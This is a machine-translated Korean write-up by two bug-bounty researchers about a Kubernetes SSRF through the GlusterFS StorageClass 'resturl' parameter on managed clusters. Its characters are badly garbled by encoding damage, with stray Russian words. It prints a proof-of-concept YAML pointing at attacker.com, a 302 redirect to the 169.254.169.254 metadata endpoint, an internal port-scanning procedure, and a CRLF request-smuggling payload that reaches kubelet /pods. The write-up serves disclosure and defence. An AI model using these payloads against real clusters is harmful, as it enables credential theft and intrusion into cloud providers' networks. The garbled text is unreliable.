๋ฉ๋ชจ. ๋ฒ์ญ: ์ด ๊ธฐ์ฌ์ ์ ์๋ ์ทจ์ฝ์ ์ ๋ฐ๊ฒฌํ ๋ฐฉ๋ฒ์ ๋ํด ์์ธํ ์ค๋ช
ํฉ๋๋ค.
์ฐ๋ฆฌ๋ ๋๊ตฌ์ธ๊ฐ
์ฐ๋ฆฌ๋ Kubernetes์ ์ทจ์ฝ์ ์ ๊ณต๋์ผ๋ก ๋ฐ๊ฒฌํ ๋ ๋ช ์ ํ๋์ค ๋ณด์ ์ฐ๊ตฌ์์ ๋๋ค. ์ฐ๋ฆฌ ์ด๋ฆ์ Brice Augras์ Christophe Hauquiert์ด์ง๋ง ๋ง์ Bug Bounty ํ๋ซํผ์์๋ ๊ฐ๊ฐ Reeverzax์ Hach๋ก ์๋ ค์ ธ ์์ต๋๋ค.
-
๋ธ๋ผ์ด์ค ์์ฐ๊ทธ๋ผ์ค -๊ทธ๋ฃน Asten ํ์ฌ ; -
ํฌ๋ฆฌ์คํ ํ ํธํด์ํธ - Nokia์ Kubernetes ์ค๊ณ์์ ๋๋ค.
๋ฌด์จ ์ผ์ด ์์์ฃ ?
์ด ๊ธฐ์ฌ๋ ํ๋ฒํ ์ฐ๊ตฌ ํ๋ก์ ํธ๊ฐ ์ด๋ป๊ฒ ์๊ธฐ์น ์๊ฒ ๋ฒ๊ทธ ์ฌ๋ฅ๊พผ์ ์ถ์์ ๊ฐ์ฅ ํฅ๋ฏธ์ง์งํ ๋ชจํ์ผ๋ก ๋ณํ๋์ง ๊ณต์ ํ๋ ๋ฐฉ๋ฒ์ ๋๋ค(์ ์ด๋ ํ์ฌ๋ก์๋).
์์๋ค์ํผ ๋ฒ๊ทธ ์ฌ๋ฅ๊พผ์๋ ๋ช ๊ฐ์ง ์ฃผ๋ชฉํ ๋งํ ๊ธฐ๋ฅ์ด ์์ต๋๋ค.
- ๊ทธ๋ค์ ํผ์์ ๋งฅ์ฃผ๋ฅผ ๋จน๊ณ ์ฐ๋ค.
- ๊ทธ๋ค์ ๋ค๋ฅธ ์ฌ๋๋ค์ด ์๊ณ ์์ ๋ ์ผํฉ๋๋ค.
์ฐ๋ฆฌ๋ ์ด๋ฌํ ๊ท์น์์ ์์ธ๋ ์๋๋๋ค. ์ฐ๋ฆฌ๋ ๋ณดํต ์ฃผ๋ง์ ๋ง๋์ ์ ๋ชป ์ด๋ฃจ๋ ๋ฐค์ ํดํน์ผ๋ก ๋ณด๋ ๋๋ค. ๊ทธ๋ฌ๋ ์ด๋ ๋ ๋ฐค์ ๋งค์ฐ ํน์ดํ ๋ฐฉ์์ผ๋ก ๋๋ฌ์ต๋๋ค.
์ฒ์์ ์ฐ๋ฆฌ๋ ์ฐธ์ฌ๋ฅผ ๋
ผ์ํ๊ธฐ ์ํด ๋ง๋ ์์ ์ด์์ต๋๋ค.
์คํ 11์์ ์ฐ๋ฆฌ๋ ์ฐ๊ตฌ๋ฅผ ํ๊ธฐ ์ํด ์๋ฆฌ์ ์์๊ณ ์์นจ ์ผ์ฐ ์ ์๋ฆฌ์ ๋ค์๊ณ ๊ฒฐ๊ณผ์ ๋งค์ฐ ๋ง์กฑํ์ต๋๋ค. ์ฐ๋ฆฌ๊ฐ MSRC Bug Bounty ํ๋ก๊ทธ๋จ์ ๋ฐ๊ฒฌํ๊ณ ๊ถํ ์์น ๊ณต๊ฒฉ์ ์๊ฐํด๋ธ ๊ฒ์ ์ด ์ฐ๊ตฌ ๋๋ถ์ด์์ต๋๋ค.
๋ช ์ฃผ/๊ฐ์์ด ์ง๋ฌ๊ณ ์์์น ๋ชปํ ๊ฒฐ๊ณผ๋ก Kubernetes์์ ๋ฐ์ ๋ณด์์ ๋ํด Azure Cloud Bug Bounty ์ญ์ฌ์ ๊ฐ์ฅ ๋์ ๋ณด์ ์ค ํ๋๋ฅผ ์ป๊ฒ ๋์์ต๋๋ค!
์ฐ๋ฆฌ์ ์ฐ๊ตฌ ํ๋ก์ ํธ๋ฅผ ๊ธฐ๋ฐ์ผ๋ก Kubernetes ์ ํ ๋ณด์ ์์ํ๋ ๋ค์์ ๋ฐํํ์ต๋๋ค.
์ด์ ๋ ๋ฐ๊ฒฌ๋ ์ทจ์ฝ์ ์ ๋ํ ์ ๋ณด๋ฅผ ์ต๋ํ ๋๋ฆฌ ์๋ฆฌ๊ณ ์ถ์ต๋๋ค. infosec ์ปค๋ฎค๋ํฐ์ ๋ค๋ฅธ ๊ตฌ์ฑ์๊ณผ ๊ธฐ์ ์ธ๋ถ ์ฌํญ์ ์ฐพ์ ๊ณต์ ํด ์ฃผ์ ์ ๊ฐ์ฌํฉ๋๋ค!
๊ทธ๋ผ ์ฐ๋ฆฌ ์ด์ผ๊ธฐ๋ ์ด๋ ์ต๋๋ค...
๋ฌธ๋งฅ
๋ฌด์จ ์ผ์ด ์ผ์ด๋ฌ๋์ง ๊ฐ์ฅ ์ ์ดํดํ๊ธฐ ์ํด ๋จผ์ ํด๋ผ์ฐ๋ ๊ด๋ฆฌ ํ๊ฒฝ์์ Kubernetes๊ฐ ์ด๋ป๊ฒ ์๋ํ๋์ง ์ดํด๋ณด๊ฒ ์ต๋๋ค.
์ด๋ฌํ ํ๊ฒฝ์์ Kubernetes ํด๋ฌ์คํฐ๋ฅผ ์ธ์คํด์คํํ ๋ ๊ด๋ฆฌ ๊ณ์ธต์ ์ผ๋ฐ์ ์ผ๋ก ํด๋ผ์ฐ๋ ๊ณต๊ธ์์ ์ฑ ์์ ๋๋ค.
์ ์ด ๊ณ์ธต์ ํด๋ผ์ฐ๋ ์ ๊ณต์
์ฒด์ ๊ฒฝ๊ณ์ ์์นํ๋ฉฐ, Kubernetes ๋
ธ๋๋ ๊ณ ๊ฐ์ ๊ฒฝ๊ณ์ ์์นํฉ๋๋ค.
๋ณผ๋ฅจ์ ๋์ ์ผ๋ก ํ ๋นํ๊ธฐ ์ํด ์ธ๋ถ ์คํ ๋ฆฌ์ง ๋ฐฑ์๋์์ ๋ณผ๋ฅจ์ ๋์ ์ผ๋ก ํ๋ก๋น์ ๋ํ๊ณ ์ด๋ฅผ PVC(์๊ตฌ ๋ณผ๋ฅจ ์์ฒญ, ์ฆ ๋ณผ๋ฅจ ์์ฒญ)์ ๋น๊ตํ๋ ๋ฉ์ปค๋์ฆ์ด ์ฌ์ฉ๋ฉ๋๋ค.
๋ฐ๋ผ์ PVC๊ฐ ์์ฑ๋์ด K8s ํด๋ฌ์คํฐ์ StorageClass์ ๋ฐ์ธ๋ฉ๋ ํ ๋ณผ๋ฅจ์ ์ ๊ณตํ๊ธฐ ์ํ ์ถ๊ฐ ์์
์ kube/cloud ์ปจํธ๋กค๋ฌ ๊ด๋ฆฌ์๊ฐ ์ํํฉ๋๋ค(์ ํํ ์ด๋ฆ์ ๋ฆด๋ฆฌ์ค์ ๋ฐ๋ผ ๋ค๋ฆ). (๋ฉ๋ชจ. ๋ฒ์ญ: ์ฐ๋ฆฌ๋ ์ด๋ฏธ ํด๋ผ์ฐ๋ ์ ๊ณต์
์ฒด ์ค ํ๋์ ๊ตฌํ ์๋ฅผ ์ฌ์ฉํ์ฌ CCM์ ๋ํด ๋ ์์ธํ ์์ฑํ์ต๋๋ค.
Kubernetes์์ ์ง์ํ๋ ์ฌ๋ฌ ์ ํ์ ํ๋ก๋น์ ๋๊ฐ ์์ต๋๋ค. ๋๋ถ๋ถ์
์ฐ๊ตฌ์์ ์ฐ๋ฆฌ๋ ์๋์ ์ค๋ช ๋ ๋ด๋ถ ๋ณผ๋ฅจ ํ๋ก๋น์ ๋ ๋ฉ์ปค๋์ฆ์ ์ค์ ์ ๋์์ต๋๋ค.
๋ด์ฅ๋ Kubernetes ํ๋ก๋น์ ๋๋ฅผ ์ฌ์ฉํ์ฌ ๋ณผ๋ฅจ์ ๋์ ์ผ๋ก ํ๋ก๋น์ ๋
์ฆ, Kubernetes๊ฐ ๊ด๋ฆฌํ ํ๊ฒฝ์ ๋ฐฐํฌ๋๋ฉด ์ปจํธ๋กค๋ฌ ๊ด๋ฆฌ์๋ ํด๋ผ์ฐ๋ ๊ณต๊ธ์์ ์ฑ ์์ด์ง๋ง ๋ณผ๋ฅจ ์์ฑ ์์ฒญ(์ ๋ค์ด์ด๊ทธ๋จ์ 3๋ฒ)์ ํด๋ผ์ฐ๋ ๊ณต๊ธ์์ ๋ด๋ถ ๋คํธ์ํฌ๋ฅผ ๋ ๋ฉ๋๋ค. ๊ทธ๋ฆฌ๊ณ ์ด๊ฒ์ด ์ ๋ง ํฅ๋ฏธ๋ก์ด ๋ถ๋ถ์ ๋๋ค!
ํดํน ์๋๋ฆฌ์ค
์ด ์น์ ์์๋ ์์์ ์ธ๊ธํ ์ํฌํ๋ก๋ฅผ ํ์ฉํ๊ณ ํด๋ผ์ฐ๋ ์๋น์ค ๊ณต๊ธ์์ ๋ด๋ถ ๋ฆฌ์์ค์ ์ก์ธ์คํ๋ ๋ฐฉ๋ฒ์ ์ค๋ช ํฉ๋๋ค. ๋ํ ๋ด๋ถ ์๊ฒฉ ์ฆ๋ช ํ๋ ๋๋ ๊ถํ ์์น๊ณผ ๊ฐ์ ํน์ ์์ ์ ์ํํ๋ ๋ฐฉ๋ฒ๋ ๋ณด์ฌ์ค๋๋ค.
ํ ๊ฐ์ง ๊ฐ๋จํ ์กฐ์(์ด ๊ฒฝ์ฐ ์๋น์ค์ธก ์์ฒญ ์์กฐ)์ ํด๋ผ์ด์ธํธ ํ๊ฒฝ์ ๋์ด ๊ด๋ฆฌ๋๋ K8 ์๋์ ๋ค์ํ ์๋น์ค ๊ณต๊ธ์ ํด๋ฌ์คํฐ๋ก ์ด๋ํ๋ ๋ฐ ๋์์ด ๋์์ต๋๋ค.
์ฐ๊ตฌ์์ ์ฐ๋ฆฌ๋ GlusterFS ํ๋ก๋น์ ๋์ ์ค์ ์ ๋์์ต๋๋ค. ์ด ๋งฅ๋ฝ์์ ์ถ๊ฐ ์์ ์์๊ฐ ์ค๋ช ๋์ด ์์์๋ ๋ถ๊ตฌํ๊ณ Quobyte, StorageOS ๋ฐ ScaleIO๋ ๋์ผํ ์ทจ์ฝ์ ์ ์ทจ์ฝํฉ๋๋ค.
๋์ ๋ณผ๋ฅจ ํ๋ก๋น์ ๋ ๋ฉ์ปค๋์ฆ์ ๋จ์ฉ
์คํ ๋ฆฌ์ง ํด๋์ค ๋ถ์ ์ค GlusterFS Golang ํด๋ผ์ด์ธํธ ์์ค ์ฝ๋์์ ์ฐ๋ฆฌ๋ resturl
์ถ๊ฐ๋์์ต๋๋ค /volumes
.
์ฐ๋ฆฌ๋ ๋ค์์ ์ถ๊ฐํ์ฌ ์ด ์ถ๊ฐ ๊ฒฝ๋ก๋ฅผ ์ ๊ฑฐํ๊ธฐ๋ก ๊ฒฐ์ ํ์ต๋๋ค. #
๋งค๊ฐ๋ณ์์์ resturl
. ๋ค์์ ๋ฐ๋งน๊ฒ SSRF ์ทจ์ฝ์ ์ ํ
์คํธํ๋ ๋ฐ ์ฌ์ฉํ ์ฒซ ๋ฒ์งธ YAML ๊ตฌ์ฑ์
๋๋ค. (์๋ฅผ ๋ค์ด ๋ฐ๋งน๊ฒ ๋๋ ๋ฐ๋งน๊ฒ SSRF์ ๋ํ ์์ธํ ๋ด์ฉ์ ์ฝ์ ์ ์์ต๋๋ค.
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: poc-ssrf
spec:
accessModes:
- ReadWriteOnce
volumeMode: Filesystem
resources:
requests:
storage: 8Gi
storageClassName: poc-ssrf
๊ทธ๋ฐ ๋ค์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์ฌ์ฉํ์ฌ Kubernetes ํด๋ฌ์คํฐ๋ฅผ ์๊ฒฉ์ผ๋ก ๊ด๋ฆฌํ์ต๋๋ค. ์ฟ ๋ฒ ํ. ์ผ๋ฐ์ ์ผ๋ก ํด๋ผ์ฐ๋ ๊ณต๊ธ์(Azure, Google, AWS ๋ฑ)๋ฅผ ํตํด ์ด ์ ํธ๋ฆฌํฐ์ ์ฌ์ฉํ ์๊ฒฉ ์ฆ๋ช ์ ์ป์ ์ ์์ต๋๋ค.
๋๋ถ์ 'ํน๋ณํ' ํ์ผ์ ์ฌ์ฉํ ์ ์์์ต๋๋ค. Kube-controller-manager๋ ๊ฒฐ๊ณผ HTTP ์์ฒญ์ ์คํํ์ต๋๋ค.
kubectl create -f sc-poc.yaml
๊ณต๊ฒฉ์ ๊ด์ ์ ๋ต๋ณ
๊ทธ ์งํ ๋ค์ ๋ช
๋ น์ ํตํด ๋์ ์๋ฒ๋ก๋ถํฐ HTTP ์๋ต์ ์์ ํ ์๋ ์์์ต๋๋ค. describe pvc
๋๋ get events
kubectl์์. ์ค์ ๋ก ์ด ๊ธฐ๋ณธ Kubernetes ๋๋ผ์ด๋ฒ๋ ๊ฒฝ๊ณ /์ค๋ฅ ๋ฉ์์ง๊ฐ ๋๋ฌด ์ฅํฉํฉ๋๋ค...
๋ค์์ ๋งํฌ๊ฐ ํฌํจ๋ ์์
๋๋ค. https://www.google.fr
๋งค๊ฐ๋ณ์๋ก ์ค์ resturl
:
kubectl describe pvc poc-ssrf
# ะธะปะธ ะถะต ะผะพะถะตัะต ะฒะพัะฟะพะปัะทะพะฒะฐัััั kubectl get events
์ด ์ ๊ทผ ๋ฐฉ์์์๋ ๋ค์๊ณผ ๊ฐ์ ์ฟผ๋ฆฌ๋ก ์ ํ๋์์ต๋๋ค. HTTP ํฌ์คํธ ๋ฐํ ์ฝ๋๊ฐ ๋ค์๊ณผ ๊ฐ์ ๊ฒฝ์ฐ ์๋ต ๋ณธ๋ฌธ์ ๋ด์ฉ์ ๊ฐ์ ธ์ฌ ์ ์์ต๋๋ค. 201. ๋ฐ๋ผ์ ์ฐ๋ฆฌ๋ ์ถ๊ฐ ์ฐ๊ตฌ๋ฅผ ์ํํ๊ณ ์๋ก์ด ์ ๊ทผ ๋ฐฉ์์ผ๋ก ์ด ํดํน ์๋๋ฆฌ์ค๋ฅผ ํ์ฅํ๊ธฐ๋ก ๊ฒฐ์ ํ์ต๋๋ค.
์ฐ๋ฆฌ ์ฐ๊ตฌ์ ๋ฐ์
- ๊ณ ๊ธ ์๋๋ฆฌ์ค #1: ์ธ๋ถ ์๋ฒ์์ 302 ๋ฆฌ๋๋ ์ ์ ์ฌ์ฉํ์ฌ HTTP ๋ฐฉ๋ฒ์ ๋ณ๊ฒฝํ์ฌ ๋ด๋ถ ๋ฐ์ดํฐ๋ฅผ ์์งํ๋ ๋ณด๋ค ์ ์ฐํ ๋ฐฉ๋ฒ์ ์ ๊ณตํฉ๋๋ค.
- ๊ณ ๊ธ ์๋๋ฆฌ์ค #2: LAN ๊ฒ์ ๋ฐ ๋ด๋ถ ๋ฆฌ์์ค ๊ฒ์์ ์๋ํํฉ๋๋ค.
- ๊ณ ๊ธ ์๋๋ฆฌ์ค #3: HTTP CRLF + ๋ฐ์(โ์์ฒญ ๋ฐ์โ)๋ฅผ ์ฌ์ฉํ์ฌ ๋ง์ถคํ HTTP ์์ฒญ์ ์์ฑํ๊ณ kube-controller ๋ก๊ทธ์์ ์ถ์ถ๋ ๋ฐ์ดํฐ๋ฅผ ๊ฒ์ํฉ๋๋ค.
๊ธฐ์ ์ฌ์
- ์ด๋ฒ ์ฐ๊ตฌ์์๋ ๋ถ์ ๋ฝ ์ง์ญ์์ Kubernetes ๋ฒ์ 1.12์ ํจ๊ป AKS(Azure Kubernetes Service)๋ฅผ ์ฌ์ฉํ์ต๋๋ค.
- ์์ ์ค๋ช ๋ ์๋๋ฆฌ์ค๋ ์ธ ๋ฒ์งธ ์๋๋ฆฌ์ค๋ฅผ ์ ์ธํ๊ณ Kubernetes์ ์ต์ ๋ฆด๋ฆฌ์ค์์ ์คํ๋์์ต๋๋ค. ๊ทธ๋ Golang ๋ฒ์ โค 1.12๋ก ๊ตฌ์ถ๋ Kubernetes๊ฐ ํ์ํ์ต๋๋ค.
- ๊ณต๊ฒฉ์์ ์ธ๋ถ ์๋ฒ -
https://attacker.com
.
๊ณ ๊ธ ์๋๋ฆฌ์ค #1: HTTP POST ์์ฒญ์ GET์ผ๋ก ๋ฆฌ๋๋ ์ ํ๊ณ ๋ฏผ๊ฐํ ๋ฐ์ดํฐ ์์
์๋ ๋ฐฉ๋ฒ์ ๊ณต๊ฒฉ์์ ์๋ฒ๋ฅผ ๋ฐํํ๋๋ก ๊ตฌ์ฑํ์ฌ ๊ฐ์ ๋์์ต๋๋ค. 302 HTTP ๋ฆฌํธ์ฝ๋POST ์์ฒญ์ GET ์์ฒญ์ผ๋ก ๋ณํํ๋ ค๋ฉด(๋ค์ด์ด๊ทธ๋จ์ 4๋จ๊ณ):
ํด๋ผ์ด์ธํธ์์ ์ค๋ ์ฒซ ๋ฒ์งธ ์์ฒญ(3) GlusterFS (์ปจํธ๋กค๋ฌ ๊ด๋ฆฌ์)์๋ POST ์ ํ์ด ์์ต๋๋ค. ๋ค์ ๋จ๊ณ๋ฅผ ์ํํ์ฌ ์ด๋ฅผ GET์ผ๋ก ์ ํํ ์ ์์์ต๋๋ค.
- ๋งค๊ฐ๋ณ์๋ก
resturl
StorageClass์์๋ ๋ค์๊ณผ ๊ฐ์ด ํ์๋ฉ๋๋ค.http://attacker.com/redirect.php
. - ์ข
์
https://attacker.com/redirect.php
๋ค์ ์์น ํค๋๊ฐ ํฌํจ๋ 302 HTTP ์ํ ์ฝ๋๋ก ์๋ตํฉ๋๋ค.http://169.254.169.254
. ์ด๋ ๋ค๋ฅธ ๋ด๋ถ ๋ฆฌ์์ค์ผ ์ ์์ต๋๋ค. ์ด ๊ฒฝ์ฐ ๋ฆฌ๋๋ ์ ๋งํฌ๋ ์์๋ก๋ง ์ฌ์ฉ๋ฉ๋๋ค. - ๊ธฐ๋ณธ์ ์ผ๋ก net/http ๋ผ์ด๋ธ๋ฌ๋ฆฌ Golang์ ์์ฒญ์ ๋ฆฌ๋๋ ์ ํ๊ณ POST๋ฅผ 302 ์ํ ์ฝ๋๋ฅผ ์ฌ์ฉํ์ฌ GET์ผ๋ก ๋ณํํ์ฌ ๋์ ๋ฆฌ์์ค์ ๋ํ HTTP GET ์์ฒญ์ ์์ฑํฉ๋๋ค.
HTTP ์๋ต ๋ณธ๋ฌธ์ ์ฝ์ผ๋ ค๋ฉด ๋ค์์ ์ํํด์ผ ํฉ๋๋ค. describe
PVC ๊ฐ์ฒด:
kubectl describe pvc xxx
๋ค์์ ์ฐ๋ฆฌ๊ฐ ์์ ํ ์ ์์๋ JSON ํ์์ HTTP ์๋ต์ ์์ ๋๋ค.
๋น์ ๋ฐ๊ฒฌ๋ ์ทจ์ฝ์ ์ ์ฑ๋ฅ์ ๋ค์๊ณผ ๊ฐ์ ์ด์ ๋ก ์ ํ๋์์ต๋๋ค.
- ๋๊ฐ๋ ์์ฒญ์ HTTP ํค๋๋ฅผ ์ฝ์ ํ ์ ์์ต๋๋ค.
- ๋ณธ๋ฌธ์ ๋งค๊ฐ๋ณ์๊ฐ ํฌํจ๋ POST ์์ฒญ์ ์ํํ ์ ์์(์ด๋ ์คํ ์ค์ธ etcd ์ธ์คํด์ค์์ ํค ๊ฐ์ ์์ฒญํ๋ ๋ฐ ํธ๋ฆฌํจ) 2379 ์ํธํ๋์ง ์์ HTTP๊ฐ ์ฌ์ฉ๋๋ ๊ฒฝ์ฐ ํฌํธ).
- ์ํ ์ฝ๋๊ฐ 200์ด๊ณ ์๋ต์ JSON ์ฝํ ์ธ ์ ํ์ด ์์ผ๋ฉด ์๋ต ๋ณธ๋ฌธ ์ฝํ ์ธ ๋ฅผ ๊ฒ์ํ ์ ์์ต๋๋ค.
๊ณ ๊ธ ์๋๋ฆฌ์ค #2: ๋ก์ปฌ ๋คํธ์ํฌ ๊ฒ์
๊ทธ๋ฐ ๋ค์ ์ด ๋ฐ๋งน๊ฒ SSRF ๋ฐฉ๋ฒ์ ์ฌ์ฉํ์ฌ ํด๋ผ์ฐ๋ ๊ณต๊ธ์์ ๋ด๋ถ ๋คํธ์ํฌ๋ฅผ ์ค์บํ๊ณ ์๋ต์ ๊ธฐ๋ฐ์ผ๋ก ๋ค์ํ ์ฒญ์ทจ ์๋น์ค(๋ฉํ๋ฐ์ดํฐ ์ธ์คํด์ค, Kubelet ๋ฑ)๋ฅผ ํด๋งํ์ต๋๋ค. ํ๋ธ ์ปจํธ๋กค๋ฌ.
๋จผ์ Kubernetes ๊ตฌ์ฑ ์์์ ํ์ค ์์ ํฌํธ(8443, 10250, 10251 ๋ฑ)๋ฅผ ๊ฒฐ์ ํ ๋ค์ ๊ฒ์ ํ๋ก์ธ์ค๋ฅผ ์๋ํํด์ผ ํ์ต๋๋ค.
๋ฆฌ์์ค๋ฅผ ๊ฒ์ํ๋ ์ด ๋ฐฉ๋ฒ์ ๋งค์ฐ ๊ตฌ์ฒด์ ์ด๊ณ ๊ธฐ์กด ์ค์บ๋ ๋ฐ SSRF ๋๊ตฌ์ ํธํ๋์ง ์๋๋ค๋ ์ ์ ํ์ธํ์ฌ ์ ์ฒด ํ๋ก์ธ์ค๋ฅผ ์๋ํํ๋ bash ์คํฌ๋ฆฝํธ์์ ์์ฒด ์์ ์๋ฅผ ๋ง๋ค๊ธฐ๋ก ๊ฒฐ์ ํ์ต๋๋ค.
์๋ฅผ ๋ค์ด ๋ด๋ถ ๋คํธ์ํฌ์ 172.16.0.0/12 ๋ฒ์๋ฅผ ๋น ๋ฅด๊ฒ ์ค์บํ๊ธฐ ์ํด 15๊ฐ์ ์์ปค๊ฐ ๋ณ๋ ฌ๋ก ์์๋์์ต๋๋ค. ์ IP ๋ฒ์๋ ์์์ผ ๋ฟ์ด๋ฉฐ ํน์ ์๋น์ค ์ ๊ณต์ ์ฒด์ IP ๋ฒ์์ ๋ฐ๋ผ ๋ณ๊ฒฝ๋ ์ ์์ต๋๋ค.
ํ๋์ IP ์ฃผ์์ ํ๋์ ํฌํธ๋ฅผ ์ค์บํ๋ ค๋ฉด ๋ค์์ ์ํํด์ผ ํฉ๋๋ค.
- ๋ง์ง๋ง์ผ๋ก ํ์ธํ StorageClass๋ฅผ ์ญ์ ํฉ๋๋ค.
- ์ด์ ์ ํ์ธ๋ ์๊ตฌ ๋ณผ๋ฅจ ์ ์ฒญ์ ์ ๊ฑฐํฉ๋๋ค.
- IP ๋ฐ ํฌํธ ๊ฐ์ ๋ณ๊ฒฝํ์ญ์์ค.
sc.yaml
; - ์๋ก์ด IP์ ํฌํธ๋ก StorageClass๋ฅผ ์์ฑํฉ๋๋ค.
- ์๋ก์ด PVC๋ฅผ ์์ฑํฉ๋๋ค.
- PVC์ ๋ํ ์ค๋ช ์ ์ฌ์ฉํ์ฌ ์ค์บ ๊ฒฐ๊ณผ๋ฅผ ์ถ์ถํฉ๋๋ค.
๊ณ ๊ธ ์๋๋ฆฌ์ค #3: CRLF ์ฃผ์ + Kubernetes ํด๋ฌ์คํฐ์ "์ด์ " ๋ฒ์ ์์ HTTP ๋ฐ์
์ด ์ธ์๋ ๊ณต๊ธ์๊ฐ ํด๋ผ์ด์ธํธ์๊ฒ K8s ํด๋ฌ์คํฐ์ ์ด์ ๋ฒ์ ์ ์ ๊ณตํ ๊ฒฝ์ฐ ะธ kube-controller-manager์ ๋ก๊ทธ์ ๋ํ ์ก์ธ์ค ๊ถํ์ ๋ถ์ฌํ์ ๊ทธ ํจ๊ณผ๋ ํจ์ฌ ๋ ์ปค์ก์ต๋๋ค.
๊ณต๊ฒฉ์๊ฐ ์ฌ๋์ ๋ฐ๋ผ ์ ์ฒด HTTP ์๋ต์ ์ป๋๋ก ์ค๊ณ๋ HTTP ์์ฒญ์ ๋ณ๊ฒฝํ๋ ๊ฒ์ด ์ค์ ๋ก ํจ์ฌ ๋ ํธ๋ฆฌํฉ๋๋ค.
๋ง์ง๋ง ์๋๋ฆฌ์ค๋ฅผ ๊ตฌํํ๋ ค๋ฉด ๋ค์ ์กฐ๊ฑด์ด ์ถฉ์กฑ๋์ด์ผ ํ์ต๋๋ค.
- ์ฌ์ฉ์๋ kube-controller-manager ๋ก๊ทธ์ ๋ํ ์ก์ธ์ค ๊ถํ์ด ์์ด์ผ ํฉ๋๋ค(์: Azure LogInsights์์).
- Kubernetes ํด๋ฌ์คํฐ๋ 1.12๋ณด๋ค ๋ฎ์ Golang ๋ฒ์ ์ ์ฌ์ฉํด์ผ ํฉ๋๋ค.
GlusterFS Go ํด๋ผ์ด์ธํธ์ ๊ฐ์ง ๋์ ์๋ฒ ๊ฐ์ ํต์ ์ ์๋ฎฌ๋ ์ด์ ํ๋ ๋ก์ปฌ ํ๊ฒฝ์ ๋ฐฐํฌํ์ต๋๋ค(๋น๋ถ๊ฐ PoC ๊ฒ์๋ ์์ ํ๊ฒ ์ต๋๋ค).
๋ฐ๊ฒฌ
์์์ ์ค๋ช ํ ํํ ๋ธ๋ผ์ธ๋ SSRF๋ฅผ ๊ฒฐํฉํ์ฌ ะฒะผะตััะต ์ด๋ฅผ ํตํด ์ฐ๋ฆฌ๋ ํค๋, HTTP ๋ฉ์๋, ๋งค๊ฐ๋ณ์ ๋ฐ ๋ฐ์ดํฐ ๊ต์ฒด๋ฅผ ํฌํจํ์ฌ ์ํ๋ ๋๋ก ์์ฒญ์ ๋ณด๋ผ ์ ์์๊ณ ์ด๋ฅผ kube-controller-manager๊ฐ ์ฒ๋ฆฌํ์ต๋๋ค.
๋ค์์ ๋งค๊ฐ๋ณ์์์ ์๋ํ๋ "๋ฏธ๋ผ"์ ์์
๋๋ค. resturl
์ ์ฌํ ๊ณต๊ฒฉ ์๋๋ฆฌ์ค๋ฅผ ๊ตฌํํ๋ StorageClass:
http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn
๊ฒฐ๊ณผ๋ ์ค๋ฅ์ ๋๋ค ์์น ์๋ ์๋ต, ์ปจํธ๋กค๋ฌ ๋ก๊ทธ์ ๊ธฐ๋ก๋๋ ๋ฉ์์ง์ ๋๋ค. ๊ธฐ๋ณธ์ ์ผ๋ก ํ์ฑํ๋ ์์ธํ ์ ๋ณด ๋๋ถ์ HTTP ์๋ต ๋ฉ์์ง์ ๋ด์ฉ๋ ์ฌ๊ธฐ์ ์ ์ฅ๋ฉ๋๋ค.
์ด๋ ๊ฐ๋
์ฆ๋ช
ํ๋ ์์ํฌ ๋ด์์ ๊ฐ์ฅ ํจ๊ณผ์ ์ธ "๋ฏธ๋ผ"์์ต๋๋ค.
์ด ์ ๊ทผ ๋ฐฉ์์ ์ฌ์ฉํ์ฌ ๋ค์ํ ๊ด๋ฆฌํ k8s ๊ณต๊ธ์์ ํด๋ฌ์คํฐ์ ๋ํด ๋ค์๊ณผ ๊ฐ์ ๊ณต๊ฒฉ ์ค ์ผ๋ถ๋ฅผ ์ํํ ์ ์์์ต๋๋ค. ๋ฉํ๋ฐ์ดํฐ ์ธ์คํด์ค์ ๋ํ ์๊ฒฉ ์ฆ๋ช ์ ์ฌ์ฉํ ๊ถํ ์์น, etcd ๋ง์คํฐ ์ธ์คํด์ค์ ๋ํ (์ํธํ๋์ง ์์) HTTP ์์ฒญ์ ํตํ ๋ง์คํฐ DoS ๋ฑ.
์ฌํ
์ฐ๋ฆฌ๊ฐ ๋ฐ๊ฒฌํ SSRF ์ทจ์ฝ์ ์ ๊ดํ Kubernetes ๊ณต์ ์ฑ๋ช ์์๋ ๋ฑ๊ธ์ด ๋งค๊ฒจ์ก์ต๋๋ค. CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Kubernetes ๊ฒฝ๊ณ์ ๊ด๋ จ๋ ์ทจ์ฝ์ ๋ง ๊ณ ๋ คํ๋ฉด ๋ฌด๊ฒฐ์ฑ ๋ฒกํฐ (๋ฌด๊ฒฐ์ฑ ๋ฒกํฐ) ๊ทธ๊ฒ์ ๋ค์๊ณผ ๊ฐ์ ์๊ฒฉ์ด ์์ต๋๋ค ์์.
๊ทธ๋ฌ๋ ๊ด๋ฆฌํ ์๋น์ค ํ๊ฒฝ์ ๋งฅ๋ฝ์์ ๋ฐ์ํ ์ ์๋ ๊ฒฐ๊ณผ๋ฅผ ํ๊ฐํ ๊ฒฐ๊ณผ(์ด๊ฒ์ด ์ฐ๋ฆฌ ์ฐ๊ตฌ์์ ๊ฐ์ฅ ํฅ๋ฏธ๋ก์ด ๋ถ๋ถ์ด์์ต๋๋ค!) ์ทจ์ฝ์ฑ์ ๋ฑ๊ธ์ผ๋ก ์ฌ๋ถ๋ฅํ๊ฒ ๋์์ต๋๋ค. ์ค์ CVSS10/10 ๋ง์ ์ ํต์ ์ฒด๋ฅผ ์ํด.
๋ค์์ ํด๋ผ์ฐ๋ ํ๊ฒฝ์ ์ ์ฌ์ ์ํฅ์ ํ๊ฐํ ๋ ๊ณ ๋ ค ์ฌํญ์ ์ดํดํ๋ ๋ฐ ๋์์ด ๋๋ ์ถ๊ฐ ์ ๋ณด์ ๋๋ค.
๋ฌด๊ฒฐ์ฑ
- ํ๋ํ ๋ด๋ถ ์๊ฒฉ ์ฆ๋ช ์ ์ฌ์ฉํ์ฌ ์๊ฒฉ์ผ๋ก ๋ช ๋ น์ ์คํํฉ๋๋ค.
